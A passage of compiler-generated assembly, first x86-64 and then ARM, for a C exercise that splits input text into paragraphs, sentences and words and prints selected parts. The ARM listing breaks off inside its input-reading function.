mov edx, DWORD PTR -164[rbp]
movsx rdx, edx
sal rdx, 4
lea rbx, [rcx+rdx]
mov esi, 16
mov rdi, rax
call calloc@PLT
mov QWORD PTR [rbx], rax
mov DWORD PTR -156[rbp], 0
jmp .L15
.L20:
mov DWORD PTR -152[rbp], 0
mov QWORD PTR -120[rbp], 0
mov eax, DWORD PTR -156[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -136[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -88[rbp]
mov rsi, rdx
mov rdi, rax
call strtok@PLT
mov QWORD PTR -112[rbp], rax
jmp .L16
.L17:
mov eax, DWORD PTR -152[rbp]
add eax, 1
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
mov rsi, rdx
mov rdi, rax
call realloc@PLT
mov QWORD PTR -120[rbp], rax
mov eax, DWORD PTR -152[rbp]
lea edx, 1[rax]
mov DWORD PTR -152[rbp], edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rdx, rax
mov rax, QWORD PTR -112[rbp]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -88[rbp]
mov rsi, rax
mov edi, 0
call strtok@PLT
mov QWORD PTR -112[rbp], rax
.L16:
cmp QWORD PTR -112[rbp], 0
jne .L17
mov rdx, QWORD PTR -80[rbp]
mov eax, DWORD PTR -164[rbp]
cdqe
sal rax, 4
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -156[rbp]
cdqe
sal rax, 4
add rdx, rax
mov eax, DWORD PTR -152[rbp]
mov DWORD PTR 8[rdx], eax
mov eax, DWORD PTR -152[rbp]
cdqe
mov rcx, QWORD PTR -80[rbp]
mov edx, DWORD PTR -164[rbp]
movsx rdx, edx
sal rdx, 4
add rdx, rcx
mov rcx, QWORD PTR [rdx]
mov edx, DWORD PTR -156[rbp]
movsx rdx, edx
sal rdx, 4
lea rbx, [rcx+rdx]
mov esi, 8
mov rdi, rax
call calloc@PLT
mov QWORD PTR [rbx], rax
mov DWORD PTR -148[rbp], 0
jmp .L18
.L19:
mov eax, DWORD PTR -148[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
mov rcx, QWORD PTR -80[rbp]
mov edx, DWORD PTR -164[rbp]
movsx rdx, edx
sal rdx, 4
add rdx, rcx
mov rcx, QWORD PTR [rdx]
mov edx, DWORD PTR -156[rbp]
movsx rdx, edx
sal rdx, 4
add rdx, rcx
mov rcx, QWORD PTR [rdx]
mov edx, DWORD PTR -148[rbp]
movsx rdx, edx
sal rdx, 3
add rdx, rcx
mov rax, QWORD PTR [rax]
mov QWORD PTR [rdx], rax
add DWORD PTR -148[rbp], 1
.L18:
mov eax, DWORD PTR -148[rbp]
cmp eax, DWORD PTR -152[rbp]
jl .L19
mov rax, QWORD PTR -120[rbp]
mov rdi, rax
call free@PLT
add DWORD PTR -156[rbp], 1
.L15:
mov eax, DWORD PTR -156[rbp]
cmp eax, DWORD PTR -160[rbp]
jl .L20
mov rax, QWORD PTR -136[rbp]
mov rdi, rax
call free@PLT
add DWORD PTR -164[rbp], 1
.L12:
mov eax, DWORD PTR -164[rbp]
cmp eax, DWORD PTR -168[rbp]
jl .L21
mov rax, QWORD PTR -80[rbp]
mov rdx, QWORD PTR -72[rbp]
mov rbx, QWORD PTR -24[rbp]
sub rbx, QWORD PTR fs:40
je .L23
call __stack_chk_fail@PLT
.L23:
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size get_document, .-get_document
.globl kth_word_in_mth_sentence_of_nth_paragraph
.type kth_word_in_mth_sentence_of_nth_paragraph, @function
kth_word_in_mth_sentence_of_nth_paragraph:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov rax, rsi
mov r9, rdi
mov rsi, r9
mov rdi, r10
mov rdi, rax
mov QWORD PTR -16[rbp], rsi
mov QWORD PTR -8[rbp], rdi
mov DWORD PTR -20[rbp], edx
mov DWORD PTR -24[rbp], ecx
mov DWORD PTR -28[rbp], r8d
mov rdx, QWORD PTR -16[rbp]
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 4
sub rax, 16
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -24[rbp]
cdqe
sal rax, 4
sub rax, 16
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -20[rbp]
cdqe
sal rax, 3
sub rax, 8
add rax, rdx
mov rax, QWORD PTR [rax]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size kth_word_in_mth_sentence_of_nth_paragraph, .-kth_word_in_mth_sentence_of_nth_paragraph
.globl kth_sentence_in_mth_paragraph
.type kth_sentence_in_mth_paragraph, @function
kth_sentence_in_mth_paragraph:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov rax, rsi
mov r8, rdi
mov rsi, r8
mov rdi, r9
mov rdi, rax
mov QWORD PTR -16[rbp], rsi
mov QWORD PTR -8[rbp], rdi
mov DWORD PTR -20[rbp], edx
mov DWORD PTR -24[rbp], ecx
mov rdx, QWORD PTR -16[rbp]
mov eax, DWORD PTR -24[rbp]
cdqe
sal rax, 4
sub rax, 16
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -20[rbp]
cdqe
sal rax, 4
sub rax, 16
add rax, rdx
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR [rax]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size kth_sentence_in_mth_paragraph, .-kth_sentence_in_mth_paragraph
.globl kth_paragraph
.type kth_paragraph, @function
kth_paragraph:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
.cfi_offset 3, -24
mov rcx, rdi
mov rax, rsi
mov rbx, rax
mov QWORD PTR -32[rbp], rcx
mov QWORD PTR -24[rbp], rbx
mov DWORD PTR -36[rbp], edx
mov rdx, QWORD PTR -32[rbp]
mov eax, DWORD PTR -36[rbp]
cdqe
sal rax, 4
sub rax, 16
add rax, rdx
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR [rax]
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size kth_paragraph, .-kth_paragraph
.section .rodata
.LC6:
.string "%s"
.text
.globl print_word
.type print_word, @function
print_word:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov rsi, rax
lea rdi, .LC6[rip]
mov eax, 0
call printf@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size print_word, .-print_word
.globl print_sentence
.type print_sentence, @function
print_sentence:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, rdi
mov rcx, rsi
mov rdx, rcx
mov QWORD PTR -32[rbp], rax
mov QWORD PTR -24[rbp], rdx
mov DWORD PTR -4[rbp], 0
jmp .L32
.L34:
mov rdx, QWORD PTR -32[rbp]
mov eax, DWORD PTR -4[rbp]
cdqe
sal rax, 3
add rax, rdx
mov rdi, QWORD PTR [rax]
call print_word
mov eax, DWORD PTR -24[rbp]
sub eax, 1
cmp DWORD PTR -4[rbp], eax
je .L33
mov edi, 32
call putchar@PLT
.L33:
add DWORD PTR -4[rbp], 1
.L32:
mov eax, DWORD PTR -24[rbp]
cmp DWORD PTR -4[rbp], eax
jl .L34
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size print_sentence, .-print_sentence
.globl print_paragraph
.type print_paragraph, @function
print_paragraph:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, rdi
mov rcx, rsi
mov rdx, rcx
mov QWORD PTR -32[rbp], rax
mov QWORD PTR -24[rbp], rdx
mov DWORD PTR -4[rbp], 0
jmp .L36
.L37:
mov rdx, QWORD PTR -32[rbp]
mov eax, DWORD PTR -4[rbp]
cdqe
sal rax, 4
add rax, rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR 8[rax]
mov rdi, rdx
mov rsi, rax
call print_sentence
mov edi, 46
call putchar@PLT
add DWORD PTR -4[rbp], 1
.L36:
mov eax, DWORD PTR -24[rbp]
cmp DWORD PTR -4[rbp], eax
jl .L37
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size print_paragraph, .-print_paragraph
.globl print_document
.type print_document, @function
print_document:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, rdi
mov rcx, rsi
mov rdx, rcx
mov QWORD PTR -32[rbp], rax
mov QWORD PTR -24[rbp], rdx
mov DWORD PTR -4[rbp], 0
jmp .L39
.L41:
mov rdx, QWORD PTR -32[rbp]
mov eax, DWORD PTR -4[rbp]
cdqe
sal rax, 4
add rax, rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR 8[rax]
mov rdi, rdx
mov rsi, rax
call print_paragraph
mov eax, DWORD PTR -24[rbp]
sub eax, 1
cmp DWORD PTR -4[rbp], eax
je .L40
mov edi, 10
call putchar@PLT
.L40:
add DWORD PTR -4[rbp], 1
.L39:
mov eax, DWORD PTR -24[rbp]
cmp DWORD PTR -4[rbp], eax
jl .L41
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size print_document, .-print_document
.section .rodata
.LC7:
.string "%[^\n]%*c"
.text
.globl get_input_text
.type get_input_text, @function
get_input_text:
.LFB15:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 1984
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -6080[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rax, -1024[rbp]
mov edx, 1005
mov esi, 0
mov rdi, rax
call memset@PLT
call getchar@PLT
mov DWORD PTR -6076[rbp], 0
jmp .L43
.L45:
lea rdx, -6064[rbp]
mov eax, DWORD PTR -6076[rbp]
cdqe
imul rax, rax, 1005
add rax, rdx
mov rsi, rax
lea rdi, .LC7[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rdx, -6064[rbp]
mov eax, DWORD PTR -6076[rbp]
cdqe
imul rax, rax, 1005
add rdx, rax
lea rax, -1024[rbp]
mov rsi, rdx
mov rdi, rax
call strcat@PLT
mov eax, DWORD PTR -6080[rbp]
sub eax, 1
cmp DWORD PTR -6076[rbp], eax
je .L44
lea rax, -1024[rbp]
mov rdi, rax
call strlen@PLT
mov rdx, rax
lea rax, -1024[rbp]
add rax, rdx
mov WORD PTR [rax], 10
.L44:
add DWORD PTR -6076[rbp], 1
.L43:
mov eax, DWORD PTR -6080[rbp]
cmp DWORD PTR -6076[rbp], eax
jl .L45
lea rax, -1024[rbp]
mov rdi, rax
call strlen@PLT
add rax, 1
mov rdi, rax
call malloc@PLT
mov QWORD PTR -6072[rbp], rax
lea rdx, -1024[rbp]
mov rax, QWORD PTR -6072[rbp]
mov rsi, rdx
mov rdi, rax
call strcpy@PLT
mov rax, QWORD PTR -6072[rbp]
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L47
call __stack_chk_fail@PLT
.L47:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE15:
.size get_input_text, .-get_input_text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "264144.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%d\000"
.align 2
.LC1:
.ascii "%d %d %d\000"
.align 2
.LC2:
.ascii "%d %d\000"
.align 2
.LC3:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #56
ldr r3, .L9
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
bl get_input_text
str r0, [fp, #-28]
sub r3, fp, #24
ldr r1, [fp, #-28]
mov r0, r3
bl get_document
sub r3, fp, #48
mov r1, r3
ldr r0, .L9+4
bl __isoc99_scanf
b .L2
.L6:
sub r3, fp, #44
mov r1, r3
ldr r0, .L9+4
bl __isoc99_scanf
ldr r3, [fp, #-44]
cmp r3, #3
bne .L3
sub r3, fp, #32
sub r2, fp, #36
sub r1, fp, #40
ldr r0, .L9+8
bl __isoc99_scanf
ldr r2, [fp, #-40]
ldr r1, [fp, #-36]
ldr r3, [fp, #-32]
str r3, [sp]
mov r3, r1
sub r1, fp, #24
ldm r1, {r0, r1}
bl kth_word_in_mth_sentence_of_nth_paragraph
mov r3, r0
str r3, [fp, #-16]
ldr r0, [fp, #-16]
bl print_word
b .L4
.L3:
ldr r3, [fp, #-44]
cmp r3, #2
bne .L5
sub r2, fp, #32
sub r3, fp, #36
mov r1, r3
ldr r0, .L9+12
bl __isoc99_scanf
ldr r2, [fp, #-36]
ldr r3, [fp, #-32]
sub r0, fp, #16
str r3, [sp]
mov r3, r2
sub r2, fp, #24
ldm r2, {r1, r2}
bl kth_sentence_in_mth_paragraph
sub r3, fp, #16
ldm r3, {r0, r1}
bl print_sentence
b .L4
.L5:
sub r3, fp, #32
mov r1, r3
ldr r0, .L9+4
bl __isoc99_scanf
ldr r3, [fp, #-32]
sub r0, fp, #16
sub r2, fp, #24
ldm r2, {r1, r2}
bl kth_paragraph
sub r3, fp, #16
ldm r3, {r0, r1}
bl print_paragraph
.L4:
mov r0, #10
bl putchar
.L2:
ldr r3, [fp, #-48]
sub r2, r3, #1
str r2, [fp, #-48]
cmp r3, #0
bne .L6
mov r3, #0
ldr r2, .L9
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L8
bl __stack_chk_fail
.L8:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L10:
.align 2
.L9:
.word .LC3
.word .LC0
.word .LC1
.word .LC2
.size main, .-main
.section .rodata
.align 2
.LC4:
.ascii "\012\000"
.align 2
.LC5:
.ascii ".\000"
.align 2
.LC6:
.ascii " \000"
.align 2
.LC7:
.word __stack_chk_guard
.text
.align 2
.global get_document
.syntax unified
.arm
.fpu softvfp
.type get_document, %function
get_document:
@ args = 0, pretend = 0, frame = 96
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #100
str r0, [fp, #-104]
str r1, [fp, #-108]
ldr r3, .L26
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r3, .L26+4
str r3, [fp, #-56]
ldr r3, .L26+8
str r3, [fp, #-52]
ldr r3, .L26+12
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-100]
ldr r1, [fp, #-56]
ldr r0, [fp, #-108]
bl strtok
str r0, [fp, #-96]
b .L12
.L13:
ldr r3, [fp, #-100]
add r2, r3, #1
str r2, [fp, #-100]
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r2, [fp, #-96]
str r2, [r3, #-24]
ldr r1, [fp, #-56]
mov r0, #0
bl strtok
str r0, [fp, #-96]
.L12:
ldr r3, [fp, #-96]
cmp r3, #0
bne .L13
ldr r3, [fp, #-100]
str r3, [fp, #-40]
ldr r3, [fp, #-100]
mov r1, #8
mov r0, r3
bl calloc
mov r3, r0
str r3, [fp, #-44]
mov r3, #0
str r3, [fp, #-92]
b .L14
.L23:
mov r3, #0
str r3, [fp, #-88]
mov r3, #0
str r3, [fp, #-84]
ldr r3, [fp, #-92]
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r3, [r3, #-24]
ldr r1, [fp, #-52]
mov r0, r3
bl strtok
str r0, [fp, #-80]
b .L15
.L16:
ldr r3, [fp, #-88]
add r3, r3, #1
lsl r3, r3, #2
mov r1, r3
ldr r0, [fp, #-84]
bl realloc
str r0, [fp, #-84]
ldr r3, [fp, #-88]
add r2, r3, #1
str r2, [fp, #-88]
lsl r3, r3, #2
ldr r2, [fp, #-84]
add r3, r2, r3
ldr r2, [fp, #-80]
str r2, [r3]
ldr r1, [fp, #-52]
mov r0, #0
bl strtok
str r0, [fp, #-80]
.L15:
ldr r3, [fp, #-80]
cmp r3, #0
bne .L16
ldr r2, [fp, #-44]
ldr r3, [fp, #-92]
lsl r3, r3, #3
add r3, r2, r3
ldr r2, [fp, #-88]
str r2, [r3, #4]
ldr r0, [fp, #-88]
ldr r2, [fp, #-44]
ldr r3, [fp, #-92]
lsl r3, r3, #3
add r4, r2, r3
mov r1, #8
bl calloc
mov r3, r0
str r3, [r4]
mov r3, #0
str r3, [fp, #-76]
b .L17
.L22:
mov r3, #0
str r3, [fp, #-72]
mov r3, #0
str r3, [fp, #-68]
ldr r3, [fp, #-76]
lsl r3, r3, #2
ldr r2, [fp, #-84]
add r3, r2, r3
ldr r3, [r3]
ldr r1, [fp, #-48]
mov r0, r3
bl strtok
str r0, [fp, #-64]
b .L18
.L19:
ldr r3, [fp, #-72]
add r3, r3, #1
lsl r3, r3, #2
mov r1, r3
ldr r0, [fp, #-68]
bl realloc
str r0, [fp, #-68]
ldr r3, [fp, #-72]
add r2, r3, #1
str r2, [fp, #-72]
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r3, r2, r3
ldr r2, [fp, #-64]
str r2, [r3]
ldr r1, [fp, #-48]
mov r0, #0
bl strtok
str r0, [fp, #-64]
.L18:
ldr r3, [fp, #-64]
cmp r3, #0
bne .L19
ldr r2, [fp, #-44]
ldr r3, [fp, #-92]
lsl r3, r3, #3
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-76]
lsl r3, r3, #3
add r3, r2, r3
ldr r2, [fp, #-72]
str r2, [r3, #4]
ldr r0, [fp, #-72]
ldr r2, [fp, #-44]
ldr r3, [fp, #-92]
lsl r3, r3, #3
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-76]
lsl r3, r3, #3
add r4, r2, r3
mov r1, #4
bl calloc
mov r3, r0
str r3, [r4]
mov r3, #0
str r3, [fp, #-60]
b .L20
.L21:
ldr r3, [fp, #-60]
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r2, r2, r3
ldr r1, [fp, #-44]
ldr r3, [fp, #-92]
lsl r3, r3, #3
add r3, r1, r3
ldr r1, [r3]
ldr r3, [fp, #-76]
lsl r3, r3, #3
add r3, r1, r3
ldr r1, [r3]
ldr r3, [fp, #-60]
lsl r3, r3, #2
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-60]
add r3, r3, #1
str r3, [fp, #-60]
.L20:
ldr r2, [fp, #-60]
ldr r3, [fp, #-72]
cmp r2, r3
blt .L21
ldr r0, [fp, #-68]
bl free
ldr r3, [fp, #-76]
add r3, r3, #1
str r3, [fp, #-76]
.L17:
ldr r2, [fp, #-76]
ldr r3, [fp, #-88]
cmp r2, r3
blt .L22
ldr r0, [fp, #-84]
bl free
ldr r3, [fp, #-92]
add r3, r3, #1
str r3, [fp, #-92]
.L14:
ldr r2, [fp, #-92]
ldr r3, [fp, #-100]
cmp r2, r3
blt .L23
ldr r3, [fp, #-104]
mov r2, r3
sub r3, fp, #44
ldm r3, {r0, r1}
stm r2, {r0, r1}
ldr r3, .L26
ldr r2, [r3]
ldr r3, [fp, #-16]
eors r2, r3, r2
mov r3, #0
beq .L25
bl __stack_chk_fail
.L25:
ldr r0, [fp, #-104]
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L27:
.align 2
.L26:
.word .LC7
.word .LC4
.word .LC5
.word .LC6
.size get_document, .-get_document
.align 2
.global kth_word_in_mth_sentence_of_nth_paragraph
.syntax unified
.arm
.fpu softvfp
.type kth_word_in_mth_sentence_of_nth_paragraph, %function
kth_word_in_mth_sentence_of_nth_paragraph:
@ args = 4, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
sub ip, fp, #12
stm ip, {r0, r1}
str r2, [fp, #-16]
str r3, [fp, #-20]
ldr r2, [fp, #-12]
ldr r3, [fp, #4]
sub r3, r3, #-536870911
lsl r3, r3, #3
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-20]
sub r3, r3, #-536870911
lsl r3, r3, #3
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-16]
sub r3, r3, #-1073741823
lsl r3, r3, #2
add r3, r2, r3
ldr r3, [r3]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size kth_word_in_mth_sentence_of_nth_paragraph, .-kth_word_in_mth_sentence_of_nth_paragraph
.align 2
.global kth_sentence_in_mth_paragraph
.syntax unified
.arm
.fpu softvfp
.type kth_sentence_in_mth_paragraph, %function
kth_sentence_in_mth_paragraph:
@ args = 4, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-8]
sub r0, fp, #16
stm r0, {r1, r2}
str r3, [fp, #-20]
ldr r2, [fp, #-16]
ldr r3, [fp, #4]
sub r3, r3, #-536870911
lsl r3, r3, #3
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-20]
sub r3, r3, #-536870911
lsl r3, r3, #3
add r2, r2, r3
ldr r3, [fp, #-8]
ldm r2, {r0, r1}
stm r3, {r0, r1}
ldr r0, [fp, #-8]
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size kth_sentence_in_mth_paragraph, .-kth_sentence_in_mth_paragraph
.align 2
.global kth_paragraph
.syntax unified
.arm
.fpu softvfp
.type kth_paragraph, %function
kth_paragraph:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-8]
sub r0, fp, #16
stm r0, {r1, r2}
str r3, [fp, #-20]
ldr r2, [fp, #-16]
ldr r3, [fp, #-20]
sub r3, r3, #-536870911
lsl r3, r3, #3
add r2, r2, r3
ldr r3, [fp, #-8]
ldm r2, {r0, r1}
stm r3, {r0, r1}
ldr r0, [fp, #-8]
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size kth_paragraph, .-kth_paragraph
.section .rodata
.align 2
.LC8:
.ascii "%s\000"
.text
.align 2
.global print_word
.syntax unified
.arm
.fpu softvfp
.type print_word, %function
print_word:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r1, r3
ldr r0, .L35
bl printf
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L36:
.align 2
.L35:
.word .LC8
.size print_word, .-print_word
.align 2
.global print_sentence
.syntax unified
.arm
.fpu softvfp
.type print_sentence, %function
print_sentence:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
sub r3, fp, #20
stm r3, {r0, r1}
mov r3, #0
str r3, [fp, #-8]
b .L38
.L40:
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
lsl r3, r3, #2
add r3, r2, r3
ldr r0, [r3]
bl print_word
ldr r3, [fp, #-16]
sub r3, r3, #1
ldr r2, [fp, #-8]
cmp r2, r3
beq .L39
mov r0, #32
bl putchar
.L39:
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L38:
ldr r3, [fp, #-16]
ldr r2, [fp, #-8]
cmp r2, r3
blt .L40
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size print_sentence, .-print_sentence
.align 2
.global print_paragraph
.syntax unified
.arm
.fpu softvfp
.type print_paragraph, %function
print_paragraph:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
sub r3, fp, #20
stm r3, {r0, r1}
mov r3, #0
str r3, [fp, #-8]
b .L42
.L43:
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
lsl r3, r3, #3
add r3, r2, r3
ldm r3, {r0, r1}
bl print_sentence
mov r0, #46
bl putchar
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L42:
ldr r3, [fp, #-16]
ldr r2, [fp, #-8]
cmp r2, r3
blt .L43
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size print_paragraph, .-print_paragraph
.align 2
.global print_document
.syntax unified
.arm
.fpu softvfp
.type print_document, %function
print_document:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
sub r3, fp, #20
stm r3, {r0, r1}
mov r3, #0
str r3, [fp, #-8]
b .L45
.L47:
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
lsl r3, r3, #3
add r3, r2, r3
ldm r3, {r0, r1}
bl print_paragraph
ldr r3, [fp, #-16]
sub r3, r3, #1
ldr r2, [fp, #-8]
cmp r2, r3
beq .L46
mov r0, #10
bl putchar
.L46:
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L45:
ldr r3, [fp, #-16]
ldr r2, [fp, #-8]
cmp r2, r3
blt .L47
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size print_document, .-print_document
.section .rodata
.align 2
.LC9:
.ascii "%[^\012]%*c\000"
.align 2
.LC10:
.word __stack_chk_guard
.text
.align 2
.global get_input_text
.syntax unified
.arm
.fpu softvfp
.type get_input_text, %function
get_input_text:
@ args = 0, pretend = 0, frame = 6056
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #6016
sub sp, sp, #44
ldr r3, .L54
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
sub r3, fp, #6016
sub r3, r3, #12
sub r3, r3, #36
mov r1, r3
ldr r0, .L54+4
bl __isoc99_scanf
sub r3, fp, #1024
ldr r2, .L54+8
mov r1, #0
mov r0, r3
bl memset
bl getchar
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
mov r3, #0
str r3, [r2, #-1952]
b .L49
.L51:
sub r1, fp, #6016
sub r1, r1, #12
sub r1, r1, #24
sub r3, fp, #4096
sub r3, r3, #12
ldr r2, [r3, #-1952]
mov r3, r2
lsl r3, r3, #5
add r3, r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r2, r3, #4
sub r2, r2, r3
add r3, r1, r2
mov r1, r3
ldr r0, .L54+12
bl __isoc99_scanf
sub r1, fp, #6016
sub r1, r1, #12
sub r1, r1, #24
sub r3, fp, #4096
sub r3, r3, #12
ldr r2, [r3, #-1952]
mov r3, r2
lsl r3, r3, #5
add r3, r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r2, r3, #4
sub r2, r2, r3
add r2, r1, r2
sub r3, fp, #1024
mov r1, r2
mov r0, r3
bl strcat
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-1956]
sub r3, r3, #1
sub r2, fp, #4096
sub r2, r2, #12
ldr r2, [r2, #-1952]
cmp r2, r3
beq .L50
sub r3, fp, #1024
mov r0, r3
bl strlen
mov r3, r0
mov r2, r3
sub r3, fp, #1024
add r3, r3, r2
ldr r2, .L54+16
mov r0, r3
mov r1, r2
mov r3, #2
mov r2, r3
bl memcpy
.L50:
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-1952]
add r3, r3, #1
str r3, [r2, #-1952]
.L49:
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-1956]
sub r2, fp, #4096
sub r2, r2, #12
ldr r2, [r2, #-1952]
cmp r2, r3
blt .L51
sub r3, fp, #1024
mov r0, r3
bl strlen
mov r3, r0
add r3, r3, #1
sub r2, fp, #4096
sub r2, r2, #12
mov r4, r2
mov r0, r3
bl malloc
